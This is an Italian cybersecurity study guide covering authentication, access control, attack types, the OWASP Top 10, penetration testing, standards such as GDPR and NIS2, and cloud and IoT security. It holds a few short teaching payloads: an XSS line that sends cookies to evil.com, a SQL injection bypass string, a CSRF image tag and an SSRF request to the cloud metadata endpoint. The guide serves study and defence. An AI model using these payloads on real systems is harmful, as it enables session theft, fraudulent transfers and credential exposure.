L'autenticazione verifica l'identità. MFA (Multi-Factor Authentication) richiede almeno 2 fattori di categorie diverse.
| Fattore | Tipo | Esempi |
|---|---|---|
| Knowledge | Qualcosa che SAI | Password, PIN, domanda segreta |
| Possession | Qualcosa che HAI | OTP via SMS, app authenticator, smart card, token hardware |
| Inherence | Qualcosa che SEI | Impronta digitale, riconoscimento facciale, retina |
| Location | Dove SEI | Geofencing, IP aziendale |
| Modello | Nome | Logica | Uso tipico |
|---|---|---|---|
| DAC | Discretionary AC | Il proprietario decide chi accede | Filesystem Unix, condivisioni |
| MAC | Mandatory AC | Label di sicurezza (Top Secret, Confidential…) | Sistemi militari, SELinux |
| RBAC | Role-Based AC | Permessi assegnati a ruoli, utenti assegnati a ruoli | Active Directory, cloud IAM |
| ABAC | Attribute-Based AC | Policy su attributi (ruolo + ora + posizione + risorsa) | Zero Trust, cloud policy |
Un'unica autenticazione dà accesso a più sistemi/applicazioni senza re-inserire le credenziali.
| Protocollo | Uso |
|---|---|
| SAML 2.0 | SSO enterprise, XML-based (IdP → SP) |
| OAuth 2.0 | Delegazione accessi API ("Login con Google") |
| OpenID Connect | AuthN su OAuth 2.0 (identità + token JWT) |
| Kerberos | SSO LAN Windows (ticket-based, Active Directory) |
Principio del privilegio minimo (PoLP): ogni utente, processo o sistema deve avere solo i permessi strettamente necessari al proprio compito.
- Privilege creep: accumulo progressivo di permessi nel tempo (promozioni, cambio ruolo) senza revoca di quelli precedenti
- Separazione dei privilegi: nessun singolo account deve poter fare tutto
- Just-in-time (JIT): privilegi elevati concessi solo quando servono e per un tempo limitato
- PAM (Privileged Access Management): strumenti per gestire, monitorare e registrare l'uso di account privilegiati
Tecnica con cui un attaccante (o un malware) ottiene permessi superiori a quelli assegnati — da utente standard a amministratore, o da processo user-mode a kernel. È una delle fasi cruciali nella kill chain dopo l'accesso iniziale.
| Tipo | Meccanismo | Esempio |
|---|---|---|
| Verticale | Utente normale → admin/root | Exploit del kernel, sudo misconfiguration, DLL hijacking su Windows |
| Orizzontale | Utente A → utente B (stesso livello) | Furto token di sessione, IDOR, impersonation |
Tecniche comuni su Windows:
- Token Impersonation: furto del token di autenticazione di un processo con privilegi elevati
- Pass-the-Hash: uso dell'hash NTLM senza conoscere la password in chiaro
- UAC Bypass: aggira il meccanismo User Account Control sfruttando processi trusted
- DLL Hijacking: un'applicazione carica una DLL malevola al posto di quella legittima
Tecniche comuni su Linux:
- SUID Exploitation: eseguibile con bit SUID impostato → gira con privilegi del proprietario (es. root)
- Cron Job Abuse: script eseguito da cron come root che include percorsi scrivibili dall'utente
- Kernel Exploit: vulnerabilità nel kernel Linux che permette di ottenere shell root
Sicurezza Applicativa
Analizza e filtra HTTP/HTTPS. Opera a Livello 7 — ispeziona il payload. Blocca: SQL Injection, XSS, CSRF, Path Traversal.
CA: emette certificati X.509. PKI: CA root → CA intermedie → certificati end-entity. CRL/OCSP: revoca.
Wildcard: *.dominio.com protegge tutti i sottodomini con un unico certificato.
- Honeypot: sistema esca deliberatamente vulnerabile usato per attirare gli attaccanti e studiarne le tecniche — movimenti laterali, tool usati, payload. Genera alert ad alta fedeltà (qualsiasi traffico verso un honeypot è sospetto per definizione)
- Telnet (23): ❌ In chiaro — deprecato
- SSH (22): ✔ Cifrato — standard odierno — sostituisce Telnet su tutti i sistemi moderni
- Print Server: vettore di attacco laterale spesso trascurato — PrintNightmare (CVE-2021-34527) è un esempio recente
Il SSDLC (Secure Software Development Life Cycle) integra la sicurezza in ogni fase dello sviluppo software invece di aggiungerla alla fine (approccio "security as an afterthought").
| Fase SDLC | Attività di sicurezza | Strumenti |
|---|---|---|
| Requirements | Security requirements, abuse cases, GDPR compliance | STRIDE threat model, PASTA |
| Design | Threat modeling, architettura sicura, principio minimo privilegio | Microsoft Threat Modeling Tool, IriusRisk |
| Development | Secure coding guidelines, code review | OWASP Secure Coding Practices, SonarQube |
| Testing | SAST, DAST, SCA, penetration test | Checkmarx, Burp Suite, OWASP ZAP, Snyk |
| Deployment | Hardening configurazione, secrets management | Vault, AWS Secrets Manager |
| Maintenance | Patch management, monitoring, vulnerability disclosure | Dependabot, CVE tracking |
DevSecOps — integrazione della sicurezza nella pipeline CI/CD: ogni commit triggera test di sicurezza automatici prima del merge.
| Tipo di test | Sigla | Descrizione |
|---|---|---|
| Static Application Security Testing | SAST | Analisi del codice sorgente senza eseguirlo — trova bug prima del deploy |
| Dynamic Application Security Testing | DAST | Test sull'app in esecuzione — simula attaccante esterno |
| Software Composition Analysis | SCA | Analisi dipendenze open source per CVE note |
| Interactive Application Security Testing | IAST | Sensori runtime nell'app durante i test — combina SAST e DAST |
Attacchi Informatici
L'attaccante si interpone intercettando o alterando il traffico.
- ARP Poisoning · DNS Spoofing · SSL Stripping · Evil Twin
Contromisure: HTTPS+HSTS · certificati client · VPN · DNSSEC · 802.1X
| Tecnica | Metodo | Note |
|---|---|---|
| Brute Force | Tutte le combinazioni | Lento ma garantisce successo |
| Dictionary Attack | Dizionario password comuni | Molto più veloce |
| Credential Stuffing | Credenziali da breach reali | Sfrutta riuso password |
| Password Spraying | 1-2 pass su migliaia account | Evita lockout |
| Rainbow Table | Tabella hash→password | Inutile con SALT |
Il social engineering è la tecnica madre degli attacchi che sfruttano la psicologia umana anziché vulnerabilità tecniche. Non attacca i sistemi — attacca le persone. Il phishing è la forma digitale più diffusa di social engineering.
| Tecnica | Meccanismo | Canale |
|---|---|---|
| Phishing | Email/SMS falsi che imitano entità legittime per rubare credenziali o installare malware | Email, SMS |
| Spear Phishing | Phishing mirato su una persona specifica — usa informazioni OSINT per sembrare autentico | Email personalizzata |
| Vishing | Phishing vocale — telefonate che fingono supporto tecnico, banche, autorità | Telefono |
| Smishing | Phishing via SMS — link malevoli in messaggi urgenti | SMS/WhatsApp |
| Pretexting | Creazione di un contesto falso plausibile per ottenere informazioni | Qualsiasi |
| Tailgating / Piggybacking | Accesso fisico non autorizzato seguendo una persona autorizzata | Fisico |
| CEO Fraud / BEC | Impersonare il CEO via email per autorizzare bonifici urgenti |
Perché funziona: i criminali sfruttano leve psicologiche precise — urgenza ("il tuo conto verrà sospeso"), autorità ("siamo la tua banca"), paura, curiosità ("hai vinto un premio"). Non serve essere ingenui: basta un momento di distrazione.
Difese:
- Verificare SEMPRE l'identità del mittente — non attraverso i dati nel messaggio stesso, ma contattando direttamente via canale diverso
- Passare il mouse sul link prima di cliccare — l'URL reale compare nel browser
- Non fornire mai credenziali, dati personali o autorizzare pagamenti sotto pressione temporale
- Programmi di Security Awareness con simulazioni di phishing periodiche
- MFA — anche se le credenziali vengono rubate, l'attaccante non ha il secondo fattore
Il ransomware è il malware che cifra i dati della vittima e chiede un riscatto. Dal 2020 le tecniche sono evolute significativamente — il semplice "paga e sblocchi" è ormai obsoleto.
| Evoluzione | Meccanismo | Impatto |
|---|---|---|
| Estorsione doppia | Cifra i dati E li esfiltra: "Paga o pubblichiamo tutto" | Data breach + blocco operativo |
| Estorsione tripla | Doppia + minaccia ai clienti/partner della vittima | Danno reputazionale a cascata |
| Ransomware da remoto | Cifra file su altri dispositivi di rete attraverso un solo endpoint compromesso | Aggira difese endpoint-centric |
| RaaS (Ransomware-as-a-Service) | Gruppi criminali affittano infrastruttura ransomware ad affiliati | Abbassa la barriera d'ingresso |
| Supply chain ransomware | Attacca fornitore/partner per colpire l'organizzazione target indirettamente | Difficile da prevenire perimetralmente |
Contromisure: backup 3-2-1 offline e testato; segmentazione di rete; EDR/XDR; patch management rigoroso; piano di incident response specifico per ransomware; mai pagare il riscatto — non garantisce il ripristino e finanzia la criminalità.
| Tipo | Comportamento | Esempio noto |
|---|---|---|
| Virus | Si replica infettando altri file eseguibili | ILOVEYOU |
| Worm | Si propaga autonomamente in rete, senza file host | WannaCry, Conficker |
| Trojan | Si camuffa da software legittimo, apre backdoor | Emotet, Zeus |
| Ransomware | Cifra i dati e chiede riscatto | WannaCry, LockBit |
| Spyware | Raccoglie dati senza consenso (tastiera, schermo, mic) | FinFisher |
| Keylogger | Registra i tasti premuti → credenziali | BlackShades |
| Rootkit | Nasconde la propria presenza nel kernel/OS | Stuxnet |
| Adware | Mostra pubblicità indesiderata, può reindirizzare browser | Fireball |
| Botnet | Rete di macchine zombi controllate dal C&C server | Mirai (IoT) |
| RAT | Remote Access Trojan — controllo remoto completo | DarkComet |
Il social engineering manipola psicologicamente le persone per ottenere credenziali, accessi o informazioni riservate, sfruttando fiducia, urgenza e paura.
| Variante | Descrizione |
|---|---|
| Phishing | Email massiva che imita brand legittimi (banca, Microsoft…) |
| Spear phishing | Phishing mirato su persona specifica con dati personalizzati |
| Whaling | Spear phishing verso CEO/dirigenti per grosse somme o dati critici |
| Smishing | Phishing via SMS |
| Vishing | Phishing via chiamata vocale (finto supporto IT, banca…) |
| Pretexting | Crea scenario credibile (tecnico IT, auditor, fornitore) |
| Baiting | USB abbandonata con malware, download gratuito infetto |
| Tailgating | Accesso fisico seguendo una persona autorizzata (piggybacking) |
| Quid pro quo | Offre un servizio falso in cambio di informazioni (finto helpdesk) |
Cifra i file della vittima e chiede un riscatto (in criptovaluta) per la chiave di decifratura. Le varianti moderne usano doppia estorsione: cifra + esfiltrazione dati.
- Infezione: phishing, RDP esposto, vulnerabilità non patchata, supply chain
- Persistence & movimento laterale: si diffonde nella rete, eleva i privilegi
- Esfiltrazione (RaaS moderno): copia dati verso server C&C dell'attaccante
- Cifratura: AES per i file, RSA/ECC per proteggere la chiave AES
- Riscatto: richiesta in Bitcoin/Monero con timer, minaccia di pubblicare i dati
DoS: un singolo attaccante satura le risorse del target. DDoS: migliaia di macchine (botnet) colpiscono simultaneamente.
| Tipo | Livello OSI | Tecnica |
|---|---|---|
| Volumetrico | L3/L4 | UDP/ICMP flood — satura la banda (Gbps) |
| SYN Flood | L4 | TCP handshake incompleti — esaurisce connessioni |
| HTTP Flood | L7 | Richieste GET/POST legittime in massa |
| Amplification | L3 | DNS/NTP usati come amplificatori (fattore 50-100x) |
| Slowloris | L7 | Connessioni aperte lentissime → esaurisce thread server |
L'attaccante inserisce codice SQL in un campo di input per manipolare le query del database — lettura, modifica, cancellazione dati o bypass autenticazione.
-- Input malevolo nel campo username: ' OR '1'='1 -- Query risultante: SELECT * FROM users WHERE user='' OR '1'='1' AND pass='x' -- Risultato: accede senza credenziali valide
| Variante | Descrizione |
|---|---|
| Error-based | L'errore SQL rivela la struttura del database |
| Union-based | UNION SELECT per estrarre dati da altre tabelle |
| Blind (Boolean) | Risposta diversa se condizione vera/falsa (nessun errore visibile) |
| Time-based Blind | SLEEP() → il ritardo della risposta rivela i dati |
Injection di codice JavaScript malevolo in una pagina web. Il browser della vittima esegue lo script nel contesto del sito legittimo → furto cookie, reindirizzamento, defacement.
| Tipo | Descrizione |
|---|---|
| Stored (Persistent) | Script salvato nel DB, eseguito ad ogni visita della pagina |
| Reflected | Script nella URL, eseguito solo se la vittima clicca il link malevolo |
| DOM-based | Manipolazione del DOM lato client, non passa dal server |
<script>document.location='https://evil.com/?c='+document.cookie</script> // Ruba i cookie di sessione e li invia all'attaccante
Forza l'utente autenticato a eseguire azioni indesiderate su un sito a cui è loggato, sfruttando la sessione già attiva nel browser.
<!-- Pagina malevola visitata dalla vittima loggata in banca: --> <img src="https://banca.it/bonifico?dest=attaccante&importo=5000"> <!-- Il browser invia la richiesta con i cookie di sessione della banca -->
Differenza con XSS: XSS sfrutta fiducia del browser nell'utente. CSRF sfrutta fiducia del server nella sessione.
OWASP — Top 10 (2021)
Lista aggiornata delle vulnerabilità web più critiche. Riferimento standard mondiale.
L'app non verifica i permessi. Esempi: /admin via URL, IDOR (id=123→124), escalation verticale. Contromisure: deny-by-default, controlli lato server, minimo privilegio.
Cifratura assente o inadeguata. Esempi: password in chiaro, HTTP, MD5/SHA-1 per password, chiavi hardcoded. Contromisure: HTTPS+HSTS, bcrypt/Argon2+SALT, TLS 1.2/1.3.
Input non sanificato eseguito come codice.
SELECT * FROM users WHERE user='' OR '1'='1' → Bypassa autenticazione
Contromisure: prepared statements, validazione input, WAF.
Difetti architetturali e di progettazione — mancanza di threat modeling, assenza di security requirements, design pattern non sicuri. Non è un bug di implementazione ma di concezione.
Configurazioni di default non cambiate, porte/servizi inutili aperti, permessi eccessivi, messaggi di errore verbosi che rivelano informazioni interne.
- Credenziali di default su router/DB/applicazioni
- Directory listing attiva su web server
- CORS troppo permissivo (
Access-Control-Allow-Origin: *) - Debug mode attivo in produzione
- S3 bucket pubblici non intenzionali (AWS)
Librerie, framework e componenti con vulnerabilità note e non aggiornate. La supply chain software è un vettore di attacco crescente.
- Log4Shell (CVE-2021-44228) — Log4j usato in milioni di applicazioni Java
- SolarWinds — aggiornamento software conteneva backdoor
- npm packages malevoli — dependency confusion, typosquatting
Difetti nei meccanismi di autenticazione e gestione delle sessioni che permettono all'attaccante di impersonare altri utenti.
- Password deboli o senza rate limiting → brute force
- Session token predicibili o non invalidati dopo logout
- Mancanza di MFA su account critici
- Credenziali in chiaro in URL o log
- Gestione errata del "recupera password"
Codice o dati che vengono assunti integri senza verifica — pipeline CI/CD non sicure, update automatici non firmati, deserializzazione non sicura.
- Plugin/librerie scaricati senza verifica firma digitale
- Pipeline CI/CD con accesso write non protetto
- Deserializzazione di oggetti non attendibili → RCE
- Insecure auto-update (HTTP invece di HTTPS + firma)
Senza log adeguati, un attacco può passare inosservato per mesi. Il tempo medio di rilevamento di un breach è ancora superiore a 200 giorni.
- Login falliti non loggati → brute force invisibile
- Log senza timestamp affidabile o con dati insufficienti
- Assenza di SIEM o alert su eventi anomali
- Log non protetti → l'attaccante li cancella dopo il breach
L'attaccante forza il server a effettuare richieste HTTP verso risorse interne o esterne arbitrarie — bypassando firewall e accedendo a servizi cloud metadata.
# Esempio: parametro URL non validato https://sito.it/fetch?url=http://169.254.169.254/latest/meta-data/ # → accede ai metadata AWS dalla rete interna del server
Vulnerability Assessment & Penetration Test
Processo sistematico per identificare, classificare e prioritizzare le vulnerabilità in un sistema — senza sfruttarle.
- Pianificazione: scope, asset da testare, finestre di manutenzione
- Scansione: tool automatizzati (Nessus, OpenVAS, Nmap) identificano CVE
- Analisi: eliminazione falsi positivi, classificazione per CVSS
- Report: lista vulnerabilità con severità, impatto e remediation
- Remediation & re-scan: verifica delle patch applicate
Simulazione controllata di un attacco reale — il pentester sfrutta le vulnerabilità per valutare l'impatto reale e la capacità di rilevamento/risposta.
| Tipo | Conoscenza iniziale | Simula |
|---|---|---|
| Black Box | Nessuna (solo IP/dominio) | Attaccante esterno ignoto |
| Gray Box | Parziale (credenziali user, schema rete) | Insider a basso privilegio |
| White Box | Completa (codice sorgente, architettura) | Revisione sicurezza completa |
Fasi (metodologia PTES/OWASP): Recon → Scanning → Exploitation → Post-exploitation → Reporting
Raccolta di informazioni sul target prima di qualsiasi interazione diretta — OSINT (Open Source Intelligence).
| Tecnica | Strumento | Informazione raccolta |
|---|---|---|
| DNS lookup | nslookup, dig | Record A, MX, NS, TXT, zone transfer |
| WHOIS | whois | Registrante dominio, date, nameserver |
| Google Dorking | Motore Google | File esposti, pannelli admin, errori |
| Shodan | shodan.io | Dispositivi internet-facing, banner servizi |
| traceroute | tracert/traceroute | Topologia di rete, hop intermedi |
| Social media | LinkedIn, GitHub | Dipendenti, tecnologie usate, email |
| Strumento | Categoria | Uso |
|---|---|---|
| Nmap | Network scanner | Port scan, OS detection, service version |
| Nessus / OpenVAS | Vulnerability scanner | Scansione CVE automatizzata |
| Metasploit | Exploitation framework | Libreria exploit, payload, post-exploitation |
| Burp Suite | Web proxy | Intercetta/modifica richieste HTTP, test OWASP |
| Wireshark | Packet analyzer | Cattura e analisi traffico di rete |
| Hashcat / John | Password cracker | Brute force / dictionary attack su hash |
| SQLmap | SQL Injection | Rilevamento e sfruttamento automatico SQLi |
| Nikto | Web scanner | Scan vulnerabilità web server |
| Kali Linux | OS | Distribuzione Linux con tutti gli strumenti integrati |
Threat Intelligence & Tassonomie
Sistemi di classificazione standardizzati per vulnerabilità, debolezze e pattern di attacco — il linguaggio comune della cybersecurity.
| Sigla | Nome completo | Cosa classifica | Esempio |
|---|---|---|---|
| CVE | Common Vulnerabilities and Exposures | Vulnerabilità specifiche in prodotti specifici | CVE-2021-44228 (Log4Shell) |
| CWE | Common Weakness Enumeration | Categorie di debolezze nel codice/architettura | CWE-79 (XSS), CWE-89 (SQL Injection) |
| CAPEC | Common Attack Pattern Enumeration and Classification | Pattern di attacco e tecniche | CAPEC-66 (SQL Injection) |
| CVSS | Common Vulnerability Scoring System | Punteggio di severità 0–10 | Log4Shell: CVSS 10.0 (Critico) |
| NVD | National Vulnerability Database | Database ufficiale NIST con tutti i CVE + CVSS | nvd.nist.gov |
Anatomia di un CVE: CVE-ANNO-NUMERO → CVE-2021-44228 = vulnerabilità #44228 scoperta nel 2021.
CVSS v3.1 — scala severità:
| Score | Livello | Azione |
|---|---|---|
| 0.0 | None | Nessuna azione necessaria |
| 0.1 – 3.9 | Low | Patch nel prossimo ciclo |
| 4.0 – 6.9 | Medium | Patch entro 30 giorni |
| 7.0 – 8.9 | High | Patch entro 7 giorni |
| 9.0 – 10.0 | Critical | Patch immediata / mitigazione urgente |
Raccolta, analisi e condivisione di informazioni sulle minacce informatiche per supportare decisioni di sicurezza proattive. CTI = Cyber Threat Intelligence.
| Livello | Tipo | Audience | Esempio |
|---|---|---|---|
| Strategic | Tendenze, attori, motivazioni | Management, CISO | Report APT, geopolitica cyber |
| Operational | Campagne in corso, TTP | Security manager | Analisi campagna ransomware |
| Tactical | TTP (Tactics, Techniques, Procedures) | SOC analyst | MITRE ATT&CK framework |
| Technical | IoC specifici (IP, hash, domini) | Ingegneri, SIEM | Feed IP malevoli |
Fonti di Threat Intelligence:
- CERT/CSIRT: Computer Emergency Response Team — notifiche incidenti nazionali (CERT-IT, ENISA)
- ISAC: Information Sharing and Analysis Center — condivisione settoriale (FS-ISAC per finanza, H-ISAC per sanità)
- OSINT: feed RSS di sicurezza, threat reports vendor (Mandiant, CrowdStrike, Kaspersky)
- Dark web monitoring: monitoraggio forum underground per early warning
- MITRE ATT&CK: knowledge base strutturata di TTP degli attaccanti
Artefatti osservabili che indicano con alta probabilità un'intrusione o una compromissione in atto o passata.
| Categoria IoC | Esempi | Dove si trovano |
|---|---|---|
| Hash di file | MD5/SHA256 di malware noti | AV, EDR, threat feeds |
| Indirizzi IP | IP di C&C server, scanner malevoli | Firewall log, SIEM |
| Domini/URL | Domini phishing, C&C, DGA | DNS log, proxy log |
| Chiavi di registro | Persistence in HKCU\Run | EDR, forensic |
| Pattern di traffico | Beacon regolare ogni X secondi | Network analysis, SIEM |
| User-Agent anomali | Strumenti attaccante nel HTTP | Web server log |
Normative & Standard
Regolamento europeo sulla protezione dei dati personali, in vigore dal 25 maggio 2018. Si applica a qualsiasi organizzazione che tratti dati di cittadini UE.
| Principio | Significato |
|---|---|
| Liceità, correttezza, trasparenza | Base giuridica per il trattamento (consenso, contratto, obbligo legale…) |
| Limitazione della finalità | Dati raccolti solo per scopi determinati ed espliciti |
| Minimizzazione | Solo i dati strettamente necessari |
| Esattezza | Dati aggiornati e corretti |
| Limitazione della conservazione | Non oltre il tempo necessario |
| Integrità e riservatezza | Misure tecniche e organizzative adeguate |
- Data breach: notifica all'Autorità (Garante) entro 72 ore
- Sanzioni: fino a €20M o 4% del fatturato globale annuo
- DPO (Data Protection Officer): responsabile della protezione dei dati e interfaccia ufficiale con il Garante — obbligatorio per enti pubblici e grandi trattatori ad alto rischio
- DPIA (Data Protection Impact Assessment): valutazione d'impatto obbligatoria per trattamenti ad alto rischio (es. sorveglianza di massa, dati biometrici, profilazione)
- Diritti dell'interessato: accesso, rettifica, cancellazione (diritto all'oblio), portabilità, opposizione
Standard internazionale per la gestione della sicurezza delle informazioni (ISMS — Information Security Management System). Certificabile da enti accreditati.
- Basato sul ciclo PDCA (Plan-Do-Check-Act)
- Annesso A: 93 controlli di sicurezza organizzati in 4 domini (organizzativo, persone, fisico, tecnologico)
- Richiede risk assessment documentato e trattamento dei rischi
- Audit di certificazione + sorveglianza annuale + rinnovo ogni 3 anni
Framework volontario del NIST (National Institute of Standards and Technology) per gestire il rischio cyber. Versione 2.0 pubblicata nel 2024.
| Funzione | Obiettivo |
|---|---|
| Govern | Strategia, policy, ruoli (novità CSF 2.0) — la cybersecurity come responsabilità del management, non solo del reparto IT |
| Identify | Inventario asset, valutazione rischi |
| Protect | Controlli preventivi, accessi, training |
| Detect | Monitoraggio, rilevamento anomalie |
| Respond | Incident response, contenimento |
| Recover | Ripristino, business continuity |
Aggiornamento della Direttiva NIS (2016), in vigore dal 2023 con recepimento entro ottobre 2024. Estende gli obblighi di sicurezza a molti più settori.
- Settori essenziali: energia, trasporti, banche, infrastrutture digitali, sanità, acqua, spazio
- Settori importanti: servizi postali, gestione rifiuti, produzione, fornitori digitali
- Obblighi: misure di gestione del rischio, notifica incidenti gravi all'autorità competente (ACN — Agenzia per la Cybersicurezza Nazionale, in Italia) entro 24h (Early Warning) e 72h (Notifica completa con analisi)
- Responsabilità del management: gli organi direttivi rispondono personalmente
- Sanzioni: fino a €10M o 2% fatturato globale (settori essenziali)
| Principio | Significato pratico |
|---|---|
| Privacy by Design | La protezione dei dati è integrata nella progettazione del sistema fin dall'inizio, non aggiunta dopo |
| Privacy by Default | Le impostazioni predefinite devono essere le più privacy-friendly possibili (es. profilo privato di default) |
7 principi fondanti (Ann Cavoukian): proattivo · privacy di default · privacy nel design · funzionalità totale · sicurezza end-to-end · visibilità · rispetto per la privacy utente.
L'audit di sicurezza è una valutazione sistematica e indipendente dei controlli di sicurezza di un'organizzazione. La compliance è l'insieme delle attività per dimostrare conformità a standard e normative.
| Tipo di audit | Chi lo fa | Scopo |
|---|---|---|
| Audit interno | Team interno dell'organizzazione | Verifica continuativa dei controlli |
| Audit esterno | Ente terzo certificato | Certificazione (ISO 27001, SOC 2…) |
| Audit regolatorio | Autorità (Garante, ACN…) | Verifica conformità normativa (GDPR, NIS2) |
| Penetration test | Ethical hacker autorizzato | Verifica tecnica della sicurezza |
Fasi di un audit ISO 27001:
- Stage 1 (document review): verifica della documentazione ISMS, policy, procedure
- Stage 2 (on-site audit): verifica implementazione reale dei controlli
- Sorveglianza annuale: audit intermedio per mantenere la certificazione
- Rinnovo triennale: audit completo ogni 3 anni
| Framework/Standard | Ambito | Tipo |
|---|---|---|
| ISO/IEC 27001 | ISMS completo | Certificabile |
| SOC 2 (AICPA) | Cloud/SaaS providers | Report di attestazione |
| PCI DSS | Pagamenti con carta | Obbligatorio per merchant |
| NIST CSF | Infrastrutture critiche USA | Framework volontario |
| CIS Controls | Controlli tecnici prioritizzati | Best practice |
I CIS Controls (versione attuale: v8) sono una raccolta di 18 controlli di sicurezza prioritizzati, pubblicati dal Center for Internet Security. A differenza di ISO 27001 (che dice cosa fare) o NIST CSF (che fornisce un framework), i CIS Controls dicono esattamente cosa implementare e in quale ordine.
| Gruppo | Controlli | Focus |
|---|---|---|
| IG1 — Base | Controlli 1-6 | Igiene cyber essenziale — raccomandata per TUTTE le organizzazioni |
| IG2 — Fondamentale | Controlli 1-16 | Organizzazioni con dati sensibili e rischi moderati |
| IG3 — Organizzativo | Tutti i 18 controlli | Organizzazioni mature con esposizione ad attacchi sofisticati |
I 6 controlli base (IG1) — il minimo per qualsiasi organizzazione:
- Inventario e controllo degli asset hardware
- Inventario e controllo degli asset software
- Protezione dei dati
- Configurazione sicura degli asset
- Gestione account
- Gestione del controllo degli accessi
La TC-ACN (Tassonomia di Classificazione dell'ACN) è il nuovo standard italiano per la gestione e notifica degli incidenti di sicurezza, sviluppato dall'Agenzia per la Cybersicurezza Nazionale. Supera i limiti del modello ENISA offrendo un approccio più granulare con 144 attributi e 22 predicati.
| Macrocategoria | Contenuto |
|---|---|
| BC — Baseline Characterization | Natura e estensione dell'attacco, danni subiti, confini geografici/organizzativi |
| TT — Threat Type | Tecniche degli attaccanti: phishing, malware, vulnerabilità sfruttate |
| TA — Threat Actor | Attori responsabili: gruppi criminali, insider, entità nazionali; motivazioni e risorse |
| AC — Additional Context | Sistemi colpiti, correlazioni con eventi precedenti, scenari di escalation |
Perché è importante: la TC-ACN consente di rispettare gli obblighi di notifica NIS2 all'ACN in modo standardizzato, migliorare la comunicazione con il CSIRT Italia, e confrontare incidenti in modo uniforme. È ispirata al modello CVSS per la descrizione multidimensionale.
Risk Management
Il rischio è la probabilità che una minaccia sfrutti una vulnerabilità causando un impatto negativo su un asset.
Rischio = Probabilità × Impatto Rischio = Minaccia × Vulnerabilità × Valore dell'asset
| Componente | Definizione | Esempio |
|---|---|---|
| Asset | Qualsiasi risorsa di valore per l'organizzazione | Database clienti, server di produzione |
| Minaccia (Threat) | Evento potenziale che può causare danno | Ransomware, terremoto, errore umano |
| Vulnerabilità | Debolezza che la minaccia può sfruttare | Software non aggiornato, password deboli |
| Impatto | Conseguenza se la minaccia si concretizza | Perdita dati, downtime, danno reputazionale |
| Probabilità | Likelihood che la minaccia si verifichi | Alta/Media/Bassa o score numerico |
Fattori interni: processi, persone, tecnologie, governance dell'organizzazione.
Fattori esterni: threat actors, contesto geopolitico, normative, catena di fornitura.
Processo sistematico e ciclico per identificare, valutare e trattare i rischi — basato su ISO 31000 e ISO/IEC 27005 per il rischio informatico.
- Identificazione: inventario asset, catalogo minacce e vulnerabilità, brainstorming, threat modeling
- Analisi: stima probabilità e impatto per ogni rischio identificato (qualitativa o quantitativa)
- Valutazione: prioritizzazione tramite matrice rischio (heat map), confronto con risk appetite
- Trattamento: scegliere la strategia per ogni rischio
- Monitoraggio: verifica continua, KRI (Key Risk Indicator), revisione periodica
| Strategia | Descrizione | Quando usarla |
|---|---|---|
| Riduzione (Mitigate) | Implementa controlli per ridurre probabilità/impatto | Rischio alto, controllo economicamente fattibile |
| Accettazione (Accept) | Si accetta il rischio consapevolmente | Rischio basso o costo controllo > impatto |
| Trasferimento (Transfer) | Assicurazione cyber, outsourcing | Rischio residuo difficile da ridurre internamente |
| Eliminazione (Avoid) | Si smette di fare l'attività rischiosa | Rischio inaccettabile, attività non essenziale |
Valutazione sistematica e indipendente dei controlli di sicurezza per verificarne l'efficacia e la conformità agli standard.
| Tipo | Chi | Scopo |
|---|---|---|
| Audit interno | Team interno | Verifica continua, preparazione a audit esterno |
| Audit esterno (certificazione) | Ente terzo accreditato | ISO 27001, SOC 2, PCI DSS |
| Audit regolatorio | Autorità competente | GDPR (Garante), NIS2 (ACN), settore finanziario |
Fasi: pianificazione → raccolta evidenze → analisi gap → report → remediation plan → follow-up.
Cloud Security
| Modello | Gestisci tu | Gestisce il provider | Esempi |
|---|---|---|---|
| IaaS | OS, middleware, app, dati | Hardware, rete, storage fisico | AWS EC2, Azure VM, GCP Compute |
| PaaS | App e dati | OS, runtime, middleware, infra | Heroku, Google App Engine, Azure App Service |
| SaaS | Solo configurazione e dati | Tutto il resto | Office 365, Salesforce, Google Workspace |
Modelli di deployment: Public cloud (risorse condivise) · Private cloud (dedicato) · Hybrid (on-premise + cloud) · Multi-cloud (più provider).
| Rischio | Contromisura |
|---|---|
| Misconfiguration (S3 pubblici, SG aperti) | CSPM (Cloud Security Posture Management), policy IaC |
| IAM eccessivamente permissivo | Least privilege, MFA, revisione periodica permessi |
| Data breach su storage cloud | Cifratura at-rest e in-transit, CASB |
| Insider threat | UEBA, logging accessi, separazione dei privilegi |
| API non protette | API Gateway, OAuth 2.0, rate limiting, WAF |
| SSRF verso metadata endpoint | IMDSv2 (AWS), blocco 169.254.169.254 |
| Area | AWS | Azure | GCP |
|---|---|---|---|
| IAM | AWS IAM, SCP | Azure AD / Entra ID | Cloud IAM |
| Firewall/WAF | Security Groups, AWS WAF | NSG, Azure Firewall | VPC Firewall, Cloud Armor |
| Vulnerability mgmt | Amazon Inspector | Microsoft Defender | Security Command Center |
| SIEM | AWS Security Hub | Microsoft Sentinel | Chronicle |
| Logging | CloudTrail | Azure Monitor / Audit Logs | Cloud Audit Logs |
| Key Management | KMS | Key Vault | Cloud KMS |
Mobile Security & IoT
| Minaccia | Descrizione |
|---|---|
| Malware mobile | App malevole da store non ufficiali, adware aggressivo |
| Rogue Wi-Fi / Evil Twin | AP falso che intercetta il traffico (MitM) |
| Smishing / Vishing | Phishing via SMS/chiamata |
| App permission abuse | App richiedono permessi eccessivi (microfono, posizione, contatti) |
| Jailbreak / Root | Rimuove sandbox del sistema → esposizione maggiore |
| SIM Swapping | Portabilità fraudolenta SIM → bypass OTP via SMS |
Contromisure: MDM (Mobile Device Management) per dispositivi aziendali · aggiornamenti OS e app · store ufficiali · VPN aziendale · cifratura dispositivo · remote wipe.
I dispositivi IoT (telecamere, sensori, router, PLC industriali) sono spesso il punto di ingresso più debole delle reti aziendali e domestiche.
| Problema | Impatto |
|---|---|
| Credenziali di default non cambiate | Accesso diretto all'interfaccia admin |
| Firmware non aggiornato | CVE note e non patchate |
| Protocolli insicuri (Telnet, HTTP) | Traffico in chiaro intercettabile |
| Assenza di cifratura | Dati trasmessi in chiaro (es. telecamere) |
| Superficie di attacco enorme | Miliardi di dispositivi, aggiornamenti difficili |
Caso Mirai Botnet (2016): 600.000 dispositivi IoT con credenziali di default compromessi → DDoS da 1.1 Tbps.
Contromisure: segmentazione VLAN IoT isolata · cambio credenziali di default · aggiornamenti firmware · disabilitare servizi inutili · network monitoring.
In ambienti aziendali, ogni smartphone e tablet è un potenziale vettore d'attacco. MDM (Mobile Device Management) e MAM (Mobile Application Management) sono le due tecnologie per gestire e proteggere i dispositivi mobili dei dipendenti.
| Tecnologia | Oggetto di controllo | Funzionalità chiave |
|---|---|---|
